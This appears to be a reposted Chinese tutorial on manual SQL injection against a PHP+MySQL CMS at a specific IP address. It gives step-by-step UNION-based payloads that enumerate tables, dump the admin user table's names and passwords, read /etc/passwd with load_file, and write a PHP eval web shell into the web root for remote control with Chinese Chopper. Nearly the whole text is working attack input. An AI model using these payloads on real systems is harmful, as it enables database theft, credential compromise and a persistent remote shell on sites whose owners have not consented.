PHP+MySQL手工注入

来源:互联网 发布:浩辰软件股份有限公司 编辑:程序博客网 时间:2024/04/29 03:26
1、发现注入点:
202.1.160.100/xycms/showproducts.php?id=12 and 1=1
202.1.160.100/xycms/showproducts.php?id=12 and 1=2
发现在1=1中,正确显示内容
在1=2中,没有任何显示。可以判定,此处存在SQL注入
2、判断数据库列的数量
利用order by 语句,如下面所示:
202.1.160.100/xycms/showproducts.php?id=12 order by 10

202.1.160.100/xycms/showproducts.php?id=12 order by 11

在这两句中,第一句正确显示了,而第二句,没有任何显示,可以判定此数据库中列的数量为10列

3、判断数据库列的数量(二)
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 1,2,3,4,5,6,7,8,9,10
显示内容如下:
可以看到页面中回显了2、6、7、8、10
说明可以通过2、6、7、8、10列得到相应的信息。

4、针对MySQL数据库中函数的使用
@@version:得到操作系统的版本信息
@@basedir: MySQL的安装路径
@@datadir:MySQL数据路径
database():数据库名称
user():用户名
current_user:当前用户名
可以通过替换回显的数字,如:
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 1,2,3,4,5,6,7,8,9,@@version
来显示对应的信息。

5、group_concat()函数的使用
group_concat()函数可以把各种信息拼接到一块,如可以这样子:
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 1,2,3,4,5,6,7,8,9,group_concat(database(),0x20,user(),0x20,@@version,0x20,@@basedir,0x20,@@datadir,0x20,current_user)
会把刚才函数得到的信息一起显示出来。

6、MySQL数据库5.0版本元数据库information_schema的使用
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。

7、获取系统表的名字
构造语句:
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 
1,group_concat(TABLE_NAME),3,4,5,6,7,8,9,10 from information_schema.tables
得到如下信息:



8、获取数据库表的名字
构造语句
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 
1,group_concat(TABLE_NAME),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()
可以得到数据库中所有表的名字:
9、获取manage_user表的列
通过构造语句:
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 
1,group_concat(COLUMN_NAME),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database() and table_name='manage_user'
得到下面信息:
四个列都有了。

10、获得manage_user表的值
构造下列语句:
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 
1,group_concat(id,0x20,m_name,0x20,m_pwd,0x20,c_date),3,4,5,6,7,8,9,10 from xycms.manage_user

11、获得系统中文件的信息
在前面就看到了,用户名使用的是root权限,就可以很好的利用一下这一点信息:
构造下列语句:
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 1,load_file('/etc/passwd'),3,4,5,6,7,8,9,10
得到下列信息:
可以看到数据库中的所有信息都列出来了。

12、木马注入:
通过构造下列语句:
202.1.160.100/xycms/showproducts.php?id=12 and 1=2 union select 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
'<?php @eval($_POST[cmd]); ?>' into dumpfile '/var/www/xycms/index_bak.php'
然后利用中国菜刀连接
202.1.160.100/xycms/index_bak.php    密码cmd
就实现了木马注入。

SQL注入手工注入就实现了。当然根据不同的数据库有不同的内容,这个需要掌握其他数据库的相关内容!

0 0
原创粉丝点击